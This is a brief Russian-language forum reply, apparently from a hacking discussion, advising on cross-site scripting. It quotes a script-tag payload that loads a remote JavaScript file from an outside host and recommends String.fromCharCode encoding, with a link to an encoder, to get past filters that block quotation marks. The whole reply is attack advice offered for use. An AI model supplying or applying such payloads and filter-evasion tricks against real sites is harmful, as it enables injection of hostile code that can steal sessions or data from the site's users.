Ну в первых где тут кавычки? <SCRIPT SRC=http://site.com/xss.js></SCRIPT>

А во вторых попробуй использовать String.fromCharCode
(encoder http://www.paulschou.com/tools/xlate/)